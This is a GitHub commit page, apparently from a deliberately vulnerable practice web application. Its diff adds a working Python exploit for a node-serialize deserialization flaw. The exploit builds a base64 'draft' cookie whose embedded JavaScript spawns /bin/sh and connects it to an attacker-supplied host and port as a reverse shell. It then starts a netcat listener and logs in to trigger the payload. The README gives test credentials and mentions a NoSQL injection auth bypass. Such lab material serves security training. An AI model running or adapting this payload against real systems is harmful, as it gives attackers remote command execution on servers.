Skip to content

Commit

Permalink
Improved deserialization attack
Browse files Browse the repository at this point in the history
  • Loading branch information
William Moody committed Mar 21, 2021
1 parent 12dda29 commit b5c842a
Show file tree
Hide file tree
Showing 3 changed files with 48 additions and 17 deletions.
8 changes: 3 additions & 5 deletions .exploit/README.md
Expand Up @@ -13,8 +13,6 @@ The draft feature uses a vulnerable node package (`node-serialize`), which is vu

- PoC: `deserialize.py`
- Usage:
1. `python3 deserialize.py attackip attackerport` and copy the output
2. Set up a netcat listener locally: `nc -nvlp attackerport`
3. Create / edit the `draft` cookie, set the contents the the output we just copied (**Make sure there are no trailing whitespace characters**)
4. Reload the home page / Log in
5. The site will deserialize the cookie and set the message input box to the contents of `.msg`, subsequently running our reverse shell at the same time
`python3 deserialize.py target lhost lport username password`

You need plaintext credentials for this attack, which you can get by following the instructions under `Blind NoSQL Injection (Auth Bypass)`. For testing purposes, you may use: `bmdyy:bmdyy`
40 changes: 35 additions & 5 deletions .exploit/deserialize.py
@@ -1,14 +1,20 @@
#!/usr/bin/python3
import subprocess
import requests
import base64
import sys

if len(sys.argv) != 3:
print('usage: %s lhost lport'%sys.argv[0])
if len(sys.argv) != 6:
print('usage: %s target lhost lport username password'%sys.argv[0])
sys.exit(-1)

lhost = sys.argv[1]
lport = sys.argv[2]
target = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
user = sys.argv[4]
passwd = sys.argv[5]

# generate the evil cookie
payload = b'{"msg":"_$$ND_FUNC$$_function(){'
payload += b'var net = require(\'net\'),cp = require(\'child_process\'),'
payload += b'sh = cp.spawn(\'/bin/sh\',[]); var client= new net.Socket();'
Expand All @@ -18,4 +24,28 @@
payload += b'});return /rce/'
payload += b'}()"}'

print(base64.b64encode(payload).decode('utf-8'))
draft = base64.b64encode(payload).decode('utf-8')
c = {'draft':draft}
print("(+) Generated cookie!")

# open a netcat listener
print("(*) Starting listener...")
subprocess.Popen(["nc","-nvlp",lport])

# log in, and get the home page to trigger to unserialize call
# takes a couple of times sometimes. not quite sure why
s = requests.Session()
logged_in = False
for try_nr in range(3):
print("(*) Logging in... (attempt #%d)" % try_nr)
d = {"username":user,"password":passwd}
r = s.post('http://%s/auth'%target,data=d,allow_redirects=False)
r = s.get('http://%s/'%target,cookies=c)
if "Logged in as" in r.text:
print("(+) Logged in!")
break
else:
print("(-) Failed to log in...")

while True:
pass
17 changes: 10 additions & 7 deletions app.js
Expand Up @@ -122,13 +122,16 @@ app.post('/register', function(req, res) {
throw err;
}
if (result == null) {
var sha256_password = crypto.createHash('sha256').update(password).digest('hex');
dbo.collection("users").insertOne({
username:username,
password:sha256_password
},function() {
res.redirect('/');
});
// TODO: Actually insert new users

// var sha256_password = crypto.createHash('sha256').update(password).digest('hex');
// dbo.collection("users").insertOne({
// username:username,
// password:sha256_password
// },function() {
// res.redirect('/');
// });
res.redirect('/');
} else {
res.render('pages/register', {session: req.session, error:"User already exists"});
}
Expand Down

0 comments on commit b5c842a

Please sign in to comment.